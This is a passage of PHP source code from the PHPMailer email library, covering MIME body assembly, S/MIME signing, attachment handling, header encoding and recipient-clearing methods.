$bytes = hash('sha256', uniqid((string) mt_rand(), true), true);
}
//We don't care about messing up base64 format here, just want a random string
return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true)));
}
/**
* Assemble the message body.
* Returns an empty string on failure.
*
* @throws Exception
*
* @return string The assembled message body
*/
public function createBody()
{
$body = '';
//Create unique IDs and preset boundaries
$this->setBoundaries();
if ($this->sign_key_file) {
$body .= $this->getMailMIME() . static::$LE;
}
$this->setWordWrap();
$bodyEncoding = $this->Encoding;
$bodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if (static::ENCODING_8BIT === $bodyEncoding && !$this->has8bitChars($this->Body)) {
$bodyEncoding = static::ENCODING_7BIT;
//All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
$bodyCharSet = static::CHARSET_ASCII;
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding for the body part only
if (static::ENCODING_BASE64 !== $this->Encoding && static::hasLineLongerThanMax($this->Body)) {
$bodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
}
$altBodyEncoding = $this->Encoding;
$altBodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if (static::ENCODING_8BIT === $altBodyEncoding && !$this->has8bitChars($this->AltBody)) {
$altBodyEncoding = static::ENCODING_7BIT;
//All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
$altBodyCharSet = static::CHARSET_ASCII;
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding for the alt body part only
if (static::ENCODING_BASE64 !== $altBodyEncoding && static::hasLineLongerThanMax($this->AltBody)) {
$altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
}
//Use this as a preamble in all multipart message types
$mimepre = '';
switch ($this->message_type) {
case 'inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= static::$LE;
$body .= $this->attachAll('inline', $this->boundary[1]);
break;
case 'attach':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= static::$LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
$body .= $this->textLine(' boundary="' . $this->boundary[2] . '";');
$body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
$body .= static::$LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= static::$LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= static::$LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt':
$body .= $mimepre;
$body .= $this->getBoundary(
$this->boundary[1],
$altBodyCharSet,
static::CONTENT_TYPE_PLAINTEXT,
$altBodyEncoding
);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= static::$LE;
$body .= $this->getBoundary(
$this->boundary[1],
$bodyCharSet,
static::CONTENT_TYPE_TEXT_HTML,
$bodyEncoding
);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= static::$LE;
if (!empty($this->Ical)) {
$method = static::ICAL_METHOD_REQUEST;
foreach (static::$IcalMethods as $imethod) {
if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) {
$method = $imethod;
break;
}
}
$body .= $this->getBoundary(
$this->boundary[1],
'',
static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method,
''
);
$body .= $this->encodeString($this->Ical, $this->Encoding);
$body .= static::$LE;
}
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_inline':
$body .= $mimepre;
$body .= $this->getBoundary(
$this->boundary[1],
$altBodyCharSet,
static::CONTENT_TYPE_PLAINTEXT,
$altBodyEncoding
);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= static::$LE;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
$body .= $this->textLine(' boundary="' . $this->boundary[2] . '";');
$body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
$body .= static::$LE;
$body .= $this->getBoundary(
$this->boundary[2],
$bodyCharSet,
static::CONTENT_TYPE_TEXT_HTML,
$bodyEncoding
);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= static::$LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= static::$LE;
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
$body .= $this->textLine(' boundary="' . $this->boundary[2] . '"');
$body .= static::$LE;
$body .= $this->getBoundary(
$this->boundary[2],
$altBodyCharSet,
static::CONTENT_TYPE_PLAINTEXT,
$altBodyEncoding
);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= static::$LE;
$body .= $this->getBoundary(
$this->boundary[2],
$bodyCharSet,
static::CONTENT_TYPE_TEXT_HTML,
$bodyEncoding
);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= static::$LE;
if (!empty($this->Ical)) {
$method = static::ICAL_METHOD_REQUEST;
foreach (static::$IcalMethods as $imethod) {
if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) {
$method = $imethod;
break;
}
}
$body .= $this->getBoundary(
$this->boundary[2],
'',
static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method,
''
);
$body .= $this->encodeString($this->Ical, $this->Encoding);
}
$body .= $this->endBoundary($this->boundary[2]);
$body .= static::$LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt_inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
$body .= $this->textLine(' boundary="' . $this->boundary[2] . '"');
$body .= static::$LE;
$body .= $this->getBoundary(
$this->boundary[2],
$altBodyCharSet,
static::CONTENT_TYPE_PLAINTEXT,
$altBodyEncoding
);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= static::$LE;
$body .= $this->textLine('--' . $this->boundary[2]);
$body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
$body .= $this->textLine(' boundary="' . $this->boundary[3] . '";');
$body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
$body .= static::$LE;
$body .= $this->getBoundary(
$this->boundary[3],
$bodyCharSet,
static::CONTENT_TYPE_TEXT_HTML,
$bodyEncoding
);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= static::$LE;
$body .= $this->attachAll('inline', $this->boundary[3]);
$body .= static::$LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= static::$LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
default:
//Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
//Reset the `Encoding` property in case we changed it for line length reasons
$this->Encoding = $bodyEncoding;
$body .= $this->encodeString($this->Body, $this->Encoding);
break;
}
if ($this->isError()) {
$body = '';
if ($this->exceptions) {
throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL);
}
} elseif ($this->sign_key_file) {
try {
if (!defined('PKCS7_TEXT')) {
throw new Exception($this->lang('extension_missing') . 'openssl');
}
$file = tempnam(sys_get_temp_dir(), 'srcsign');
$signed = tempnam(sys_get_temp_dir(), 'mailsign');
file_put_contents($file, $body);
//Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
if (empty($this->sign_extracerts_file)) {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
['file://' . realpath($this->sign_key_file), $this->sign_key_pass],
[]
);
} else {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
['file://' . realpath($this->sign_key_file), $this->sign_key_pass],
[],
PKCS7_DETACHED,
$this->sign_extracerts_file
);
}
@unlink($file);
if ($sign) {
$body = file_get_contents($signed);
@unlink($signed);
//The message returned by openssl contains both headers and body, so need to split them up
$parts = explode("\n\n", $body, 2);
$this->MIMEHeader .= $parts[0] . static::$LE . static::$LE;
$body = $parts[1];
} else {
@unlink($signed);
throw new Exception($this->lang('signing') . openssl_error_string());
}
} catch (Exception $exc) {
$body = '';
if ($this->exceptions) {
throw $exc;
}
}
}
return $body;
}
/**
* Get the boundaries that this message will use
* @return array
*/
public function getBoundaries()
{
if (empty($this->boundary)) {
$this->setBoundaries();
}
return $this->boundary;
}
/**
* Return the start of a message boundary.
*
* @param string $boundary
* @param string $charSet
* @param string $contentType
* @param string $encoding
*
* @return string
*/
protected function getBoundary($boundary, $charSet, $contentType, $encoding)
{
$result = '';
if ('' === $charSet) {
$charSet = $this->CharSet;
}
if ('' === $contentType) {
$contentType = $this->ContentType;
}
if ('' === $encoding) {
$encoding = $this->Encoding;
}
$result .= $this->textLine('--' . $boundary);
$result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
$result .= static::$LE;
//RFC1341 part 5 says 7bit is assumed if not specified
if (static::ENCODING_7BIT !== $encoding) {
$result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
}
$result .= static::$LE;
return $result;
}
/**
* Return the end of a message boundary.
*
* @param string $boundary
*
* @return string
*/
protected function endBoundary($boundary)
{
return static::$LE . '--' . $boundary . '--' . static::$LE;
}
/**
* Set the message type.
* PHPMailer only supports some preset message types, not arbitrary MIME structures.
*/
protected function setMessageType()
{
$type = [];
if ($this->alternativeExists()) {
$type[] = 'alt';
}
if ($this->inlineImageExists()) {
$type[] = 'inline';
}
if ($this->attachmentExists()) {
$type[] = 'attach';
}
$this->message_type = implode('_', $type);
if ('' === $this->message_type) {
//The 'plain' message_type refers to the message having a single body element, not that it is plain-text
$this->message_type = 'plain';
}
}
/**
* Format a header line.
*
* @param string $name
* @param string|int $value
*
* @return string
*/
public function headerLine($name, $value)
{
return $name . ': ' . $value . static::$LE;
}
/**
* Return a formatted mail line.
*
* @param string $value
*
* @return string
*/
public function textLine($value)
{
return $value . static::$LE;
}
/**
* Add an attachment from a path on the filesystem.
* Never use a user-supplied path to a file!
* Returns false if the file could not be found or read.
* Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
* If you need to do that, fetch the resource yourself and pass it in via a local file or string.
*
* @param string $path Path to the attachment
* @param string $name Overrides the attachment name
* @param string $encoding File encoding (see $Encoding)
* @param string $type MIME type, e.g. `image/jpeg`; determined automatically from $path if not specified
* @param string $disposition Disposition to use
*
* @throws Exception
*
* @return bool
*/
public function addAttachment(
$path,
$name = '',
$encoding = self::ENCODING_BASE64,
$type = '',
$disposition = 'attachment'
) {
try {
if (!static::fileIsAccessible($path)) {
throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE);
}
//If a MIME type is not specified, try to work it out from the file name
if ('' === $type) {
$type = static::filenameToType($path);
}
$filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
if ('' === $name) {
$name = $filename;
}
if (!$this->validateEncoding($encoding)) {
throw new Exception($this->lang('encoding') . $encoding);
}
$this->attachment[] = [
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, //isStringAttachment
6 => $disposition,
7 => $name,
];
} catch (Exception $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
/**
* Return the array of attachments.
*
* @return array
*/
public function getAttachments()
{
return $this->attachment;
}
/**
* Attach all file, string, and binary attachments to the message.
* Returns an empty string on failure.
*
* @param string $disposition_type
* @param string $boundary
*
* @throws Exception
*
* @return string
*/
protected function attachAll($disposition_type, $boundary)
{
//Return text of body
$mime = [];
$cidUniq = [];
$incl = [];
//Add all attachments
foreach ($this->attachment as $attachment) {
//Check if it is a valid disposition_filter
if ($attachment[6] === $disposition_type) {
//Check for string attachment
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
} else {
$path = $attachment[0];
}
$inclhash = hash('sha256', serialize($attachment));
if (in_array($inclhash, $incl, true)) {
continue;
}
$incl[] = $inclhash;
$name = $attachment[2];
$encoding = $attachment[3];
$type = $attachment[4];
$disposition = $attachment[6];
$cid = $attachment[7];
if ('inline' === $disposition && array_key_exists($cid, $cidUniq)) {
continue;
}
$cidUniq[$cid] = true;
$mime[] = sprintf('--%s%s', $boundary, static::$LE);
//Only include a filename property if we have one
if (!empty($name)) {
$mime[] = sprintf(
'Content-Type: %s; name=%s%s',
$type,
static::quotedString($this->encodeHeader($this->secureHeader($name))),
static::$LE
);
} else {
$mime[] = sprintf(
'Content-Type: %s%s',
$type,
static::$LE
);
}
//RFC1341 part 5 says 7bit is assumed if not specified
if (static::ENCODING_7BIT !== $encoding) {
$mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, static::$LE);
}
//Only set Content-IDs on inline attachments
if ((string) $cid !== '' && $disposition === 'inline') {
$mime[] = 'Content-ID: <' . $this->encodeHeader($this->secureHeader($cid)) . '>' . static::$LE;
}
//Allow for bypassing the Content-Disposition header
if (!empty($disposition)) {
$encoded_name = $this->encodeHeader($this->secureHeader($name));
if (!empty($encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename=%s%s',
$disposition,
static::quotedString($encoded_name),
static::$LE . static::$LE
);
} else {
$mime[] = sprintf(
'Content-Disposition: %s%s',
$disposition,
static::$LE . static::$LE
);
}
} else {
$mime[] = static::$LE;
}
//Encode as string attachment
if ($bString) {
$mime[] = $this->encodeString($string, $encoding);
} else {
$mime[] = $this->encodeFile($path, $encoding);
}
if ($this->isError()) {
return '';
}
$mime[] = static::$LE;
}
}
$mime[] = sprintf('--%s--%s', $boundary, static::$LE);
return implode('', $mime);
}
/**
* Encode a file attachment in requested format.
* Returns an empty string on failure.
*
* @param string $path The full path to the file
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
*
* @return string
*/
protected function encodeFile($path, $encoding = self::ENCODING_BASE64)
{
try {
if (!static::fileIsAccessible($path)) {
throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE);
}
$file_buffer = file_get_contents($path);
if (false === $file_buffer) {
throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE);
}
$file_buffer = $this->encodeString($file_buffer, $encoding);
return $file_buffer;
} catch (Exception $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return '';
}
}
/**
* Encode a string in requested format.
* Returns an empty string on failure.
*
* @param string $str The text to encode
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
*
* @throws Exception
*
* @return string
*/
public function encodeString($str, $encoding = self::ENCODING_BASE64)
{
$encoded = '';
switch (strtolower($encoding)) {
case static::ENCODING_BASE64:
$encoded = chunk_split(
base64_encode($str),
static::STD_LINE_LENGTH,
static::$LE
);
break;
case static::ENCODING_7BIT:
case static::ENCODING_8BIT:
$encoded = static::normalizeBreaks($str);
//Make sure it ends with a line break
if (substr($encoded, -(strlen(static::$LE))) !== static::$LE) {
$encoded .= static::$LE;
}
break;
case static::ENCODING_BINARY:
$encoded = $str;
break;
case static::ENCODING_QUOTED_PRINTABLE:
$encoded = $this->encodeQP($str);
break;
default:
$this->setError($this->lang('encoding') . $encoding);
if ($this->exceptions) {
throw new Exception($this->lang('encoding') . $encoding);
}
break;
}
return $encoded;
}
/**
* Encode a header value (not including its label) optimally.
* Picks shortest of Q, B, or none. Result includes folding if needed.
* See RFC822 definitions for phrase, comment and text positions.
*
* @param string $str The header value to encode
* @param string $position What context the string will be used in
*
* @return string
*/
public function encodeHeader($str, $position = 'text')
{
$matchcount = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[\200-\377]/', $str)) {
//Can't use addslashes as we don't know the value of magic_quotes_sybase
$encoded = addcslashes($str, "\0..\37\177\\\"");
if (($str === $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return $encoded;
}
return "\"$encoded\"";
}
$matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
break;
/* @noinspection PhpMissingBreakStatementInspection */
case 'comment':
$matchcount = preg_match_all('/[()"]/', $str, $matches);
//fallthrough
case 'text':
default:
$matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
break;
}
if ($this->has8bitChars($str)) {
$charset = $this->CharSet;
} else {
$charset = static::CHARSET_ASCII;
}
//Q/B encoding adds 8 chars and the charset ("` =?<charset>?[QB]?<content>?=`").
$overhead = 8 + strlen($charset);
if ('mail' === $this->Mailer) {
$maxlen = static::MAIL_MAX_LINE_LENGTH - $overhead;
} else {
$maxlen = static::MAX_LINE_LENGTH - $overhead;
}
//Select the encoding that produces the shortest output and/or prevents corruption.
if ($matchcount > strlen($str) / 3) {
//More than 1/3 of the content needs encoding, use B-encode.
$encoding = 'B';
} elseif ($matchcount > 0) {
//Less than 1/3 of the content needs encoding, use Q-encode.
$encoding = 'Q';
} elseif (strlen($str) > $maxlen) {
//No encoding needed, but value exceeds max line length, use Q-encode to prevent corruption.
$encoding = 'Q';
} else {
//No reformatting needed
$encoding = false;
}
switch ($encoding) {
case 'B':
if ($this->hasMultiBytes($str)) {
//Use a custom function which correctly encodes and wraps long
//multibyte strings without breaking lines within a character
$encoded = $this->base64EncodeWrapMB($str, "\n");
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "\n"));
}
$encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded);
break;
case 'Q':
$encoded = $this->encodeQ($str, $position);
$encoded = $this->wrapText($encoded, $maxlen, true);
$encoded = str_replace('=' . static::$LE, "\n", trim($encoded));
$encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded);
break;
default:
return $str;
}
return trim(static::normalizeBreaks($encoded));
}
/**
* Check if a string contains multi-byte characters.
*
* @param string $str multi-byte text to wrap encode
*
* @return bool
*/
public function hasMultiBytes($str)
{
if (function_exists('mb_strlen')) {
return strlen($str) > mb_strlen($str, $this->CharSet);
}
//Assume no multibytes (we can't handle without mbstring functions anyway)
return false;
}
/**
* Does a string contain any 8-bit chars (in any charset)?
*
* @param string $text
*
* @return bool
*/
public function has8bitChars($text)
{
return (bool) preg_match('/[\x80-\xFF]/', $text);
}
/**
* Encode and wrap long multibyte strings for mail headers
* without breaking lines within a character.
* Adapted from a function by paravoid.
*
* @see http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
*
* @param string $str multi-byte text to wrap encode
* @param string $linebreak string to use as linefeed/end-of-line
*
* @return string
*/
public function base64EncodeWrapMB($str, $linebreak = null)
{
$start = '=?' . $this->CharSet . '?B?';
$end = '?=';
$encoded = '';
if (null === $linebreak) {
$linebreak = static::$LE;
}
$mb_length = mb_strlen($str, $this->CharSet);
//Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
//Average multi-byte ratio
$ratio = $mb_length / strlen($str);
//Base64 has a 4:3 ratio
$avgLength = floor($length * $ratio * .75);
$offset = 0;
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
++$lookBack;
} while (strlen($chunk) > $length);
$encoded .= $chunk . $linebreak;
}
//Chomp the last linefeed
return substr($encoded, 0, -strlen($linebreak));
}
/**
* Encode a string in quoted-printable format.
* According to RFC2045 section 6.7.
*
* @param string $string The text to encode
*
* @return string
*/
public function encodeQP($string)
{
return static::normalizeBreaks(quoted_printable_encode($string));
}
/**
* Encode a string using Q encoding.
*
* @see http://tools.ietf.org/html/rfc2047#section-4.2
*
* @param string $str the text to encode
* @param string $position Where the text is going to be used, see the RFC for what that means
*
* @return string
*/
public function encodeQ($str, $position = 'text')
{
//There should not be any EOL in the string
$pattern = '';
$encoded = str_replace(["\r", "\n"], '', $str);
switch (strtolower($position)) {
case 'phrase':
//RFC 2047 section 5.3
$pattern = '^A-Za-z0-9!*+\/ -';
break;
/*
* RFC 2047 section 5.2.
* Build $pattern without including delimiters and []
*/
/* @noinspection PhpMissingBreakStatementInspection */
case 'comment':
$pattern = '\(\)"';
/* Intentional fall through */
case 'text':
default:
//RFC 2047 section 5.1
//Replace every high ascii, control, =, ? and _ characters
$pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
break;
}
$matches = [];
if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
//If the string contains an '=', make sure it's the first thing we replace
//so as to avoid double-encoding
$eqkey = array_search('=', $matches[0], true);
if (false !== $eqkey) {
unset($matches[0][$eqkey]);
array_unshift($matches[0], '=');
}
foreach (array_unique($matches[0]) as $char) {
$encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
}
}
//Replace spaces with _ (more readable than =20)
//RFC 2047 section 4.2(2)
return str_replace(' ', '_', $encoded);
}
/**
* Add a string or binary attachment (non-filesystem).
* This method can be used to attach ascii or binary data,
* such as a BLOB record from a database.
*
* @param string $string String attachment data
* @param string $filename Name of the attachment
* @param string $encoding File encoding (see $Encoding)
* @param string $type File extension (MIME) type
* @param string $disposition Disposition to use
*
* @throws Exception
*
* @return bool True on successfully adding an attachment
*/
public function addStringAttachment(
$string,
$filename,
$encoding = self::ENCODING_BASE64,
$type = '',
$disposition = 'attachment'
) {
try {
//If a MIME type is not specified, try to work it out from the file name
if ('' === $type) {
$type = static::filenameToType($filename);
}
if (!$this->validateEncoding($encoding)) {
throw new Exception($this->lang('encoding') . $encoding);
}
//Append to $attachment array
$this->attachment[] = [
0 => $string,
1 => $filename,
2 => static::mb_pathinfo($filename, PATHINFO_BASENAME),
3 => $encoding,
4 => $type,
5 => true, //isStringAttachment
6 => $disposition,
7 => 0,
];
} catch (Exception $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
/**
* Add an embedded (inline) attachment from a file.
* This can include images, sounds, and just about any other document type.
* These differ from 'regular' attachments in that they are intended to be
* displayed inline with the message, not just attached for download.
* This is used in HTML messages that embed the images
* the HTML refers to using the `$cid` value in `img` tags, for example `<img src="cid:mylogo">`.
* Never use a user-supplied path to a file!
*
* @param string $path Path to the attachment
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML
* @param string $name Overrides the attachment filename
* @param string $encoding File encoding (see $Encoding) defaults to `base64`
* @param string $type File MIME type (by default mapped from the `$path` filename's extension)
* @param string $disposition Disposition to use: `inline` (default) or `attachment`
* (unlikely you want this – {@see `addAttachment()`} instead)
*
* @return bool True on successfully adding an attachment
* @throws Exception
*
*/
public function addEmbeddedImage(
$path,
$cid,
$name = '',
$encoding = self::ENCODING_BASE64,
$type = '',
$disposition = 'inline'
) {
try {
if (!static::fileIsAccessible($path)) {
throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE);
}
//If a MIME type is not specified, try to work it out from the file name
if ('' === $type) {
$type = static::filenameToType($path);
}
if (!$this->validateEncoding($encoding)) {
throw new Exception($this->lang('encoding') . $encoding);
}
$filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
if ('' === $name) {
$name = $filename;
}
//Append to $attachment array
$this->attachment[] = [
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, //isStringAttachment
6 => $disposition,
7 => $cid,
];
} catch (Exception $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
/**
* Add an embedded stringified attachment.
* This can include images, sounds, and just about any other document type.
* If your filename doesn't contain an extension, be sure to set the $type to an appropriate MIME type.
*
* @param string $string The attachment binary data
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML
* @param string $name A filename for the attachment. If this contains an extension,
* PHPMailer will attempt to set a MIME type for the attachment.
* For example 'file.jpg' would get an 'image/jpeg' MIME type.
* @param string $encoding File encoding (see $Encoding), defaults to 'base64'
* @param string $type MIME type - will be used in preference to any automatically derived type
* @param string $disposition Disposition to use
*
* @throws Exception
*
* @return bool True on successfully adding an attachment
*/
public function addStringEmbeddedImage(
$string,
$cid,
$name = '',
$encoding = self::ENCODING_BASE64,
$type = '',
$disposition = 'inline'
) {
try {
//If a MIME type is not specified, try to work it out from the name
if ('' === $type && !empty($name)) {
$type = static::filenameToType($name);
}
if (!$this->validateEncoding($encoding)) {
throw new Exception($this->lang('encoding') . $encoding);
}
//Append to $attachment array
$this->attachment[] = [
0 => $string,
1 => $name,
2 => $name,
3 => $encoding,
4 => $type,
5 => true, //isStringAttachment
6 => $disposition,
7 => $cid,
];
} catch (Exception $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
/**
* Validate encodings.
*
* @param string $encoding
*
* @return bool
*/
protected function validateEncoding($encoding)
{
return in_array(
$encoding,
[
self::ENCODING_7BIT,
self::ENCODING_QUOTED_PRINTABLE,
self::ENCODING_BASE64,
self::ENCODING_8BIT,
self::ENCODING_BINARY,
],
true
);
}
/**
* Check if an embedded attachment is present with this cid.
*
* @param string $cid
*
* @return bool
*/
protected function cidExists($cid)
{
foreach ($this->attachment as $attachment) {
if ('inline' === $attachment[6] && $cid === $attachment[7]) {
return true;
}
}
return false;
}
/**
* Check if an inline attachment is present.
*
* @return bool
*/
public function inlineImageExists()
{
foreach ($this->attachment as $attachment) {
if ('inline' === $attachment[6]) {
return true;
}
}
return false;
}
/**
* Check if an attachment (non-inline) is present.
*
* @return bool
*/
public function attachmentExists()
{
foreach ($this->attachment as $attachment) {
if ('attachment' === $attachment[6]) {
return true;
}
}
return false;
}
/**
* Check if this message has an alternative body set.
*
* @return bool
*/
public function alternativeExists()
{
return !empty($this->AltBody);
}
/**
* Clear queued addresses of given kind.
*
* @param string $kind 'to', 'cc', or 'bcc'
*/
public function clearQueuedAddresses($kind)
{
$this->RecipientsQueue = array_filter(
$this->RecipientsQueue,
static function ($params) use ($kind) {
return $params[0] !== $kind;
}
);
}
/**
* Clear all To recipients.
*/
public function clearAddresses()
{
foreach ($this->to as $to) {
unset($this->all_recipients[strtolower($to[0])]);
}
$this->to = [];
$this->clearQueuedAddresses('to');
}
/**
* Clear all CC recipients.
*/
public function clearCCs()
{
foreach ($this->cc as $cc) {
unset($this->all_recipients[strtolower($cc[0])]);
}
$this->cc = [];
$this->clearQueuedAddresses('cc');
}
/**
* Clear all BCC recipients.
*/
public function clearBCCs()
{
foreach ($this->bcc as $bcc) {
unset($this->all_recipients[strtolower($bcc[0])]);
}
$this->bcc = [];
$this->clearQueuedAddresses('bcc');
}
/**
* Clear all ReplyTo recipients.
*/
public function clearReplyTos()
{
$this->ReplyTo = [];
$this->ReplyToQueue = [];
}
/**
* Clear all recipient types.
*/
public function clearAllRecipients()
{
$this->to = [];
$this->cc = [];
$this->bcc = [];
$this->all_recipients = [];
$this->RecipientsQueue = [];
}
/**
* Clear all filesystem, string, and binary attachments.
*/
public function clearAttachments()
{
$this->attachment = [];
}
/**
* Clear all custom headers.
*/
public function clearCustomHeaders()
{
$this->CustomHeader = [];
}
/**
* Clear a specific custom header by name or name and value.
* $name value can be overloaded to contain
* both header name and value (name:value).
*
* @param string $name Custom header name
* @param string|null $value Header value
*
* @return bool True if a header was replaced successfully
*/
public function clearCustomHeader($name, $value = null)
{
if (null === $value && strpos($name, ':') !== false) {
//Value passed in as name:value
list($name, $value) = explode(':', $name, 2);
}
$name = trim($name);
$value = (null === $value) ? null : trim($value);
foreach ($this->CustomHeader as $k => $pair) {
if ($pair[0] == $name) {
// We remove the header if the value is not provided or it matches.
if (null === $value || $pair[1] == $value) {
unset($this->CustomHeader[$k]);
}
}
}
return true;
}
/**
* Replace a custom header.
* $name value can be overloaded to contain
* both header name and value (name:value).
*
* @param string $name Custom header name
* @param string|null $value Header value
*
* @return bool True if a header was replaced successfully
* @throws Exception
*/
public function replaceCustomHeader($name, $value = null)
{
if (null === $value && strpos($name, ':') !== false) {
//Value passed in as name:value
list($name, $value) = explode(':', $name, 2);
}
$name = trim($name);
$value = (null === $value) ? '' : trim($value);
$replaced = false;
foreach ($this->CustomHeader as $k => $pair) {
if ($pair[0] == $name) {
if ($replaced) {
unset($this->CustomHeader[$k]);
continue;
}
if (strpbrk($name . $value, "\r\n") !== false) {
if ($this->exceptions) {
throw new Exception($this->lang('invalid_header'));
}
return false;
}
$this->CustomHeader[$k] = [$name, $value];
$replaced = true;
}
}
return true;
}
/**
* Add an error message to the error container.
*
* @param string $msg
*/
protected function setError($msg)
{
++$this->error_count;
if ('smtp' === $this->Mailer && null !== $this->smtp) {
$lasterror = $this->smtp->getError();
if (!empty($lasterror['error'])) {
$msg .= $this->lang('smtp_error') . $lasterror['error'];
if (!empty($lasterror['detail'])) {
$msg .= ' ' . $this->lang('smtp_detail') . $lasterror['detail'];
}
if (!empty($lasterror['smtp_code'])) {
$msg .= ' ' . $this->lang('smtp_code') . $lasterror['smtp_code'];
}
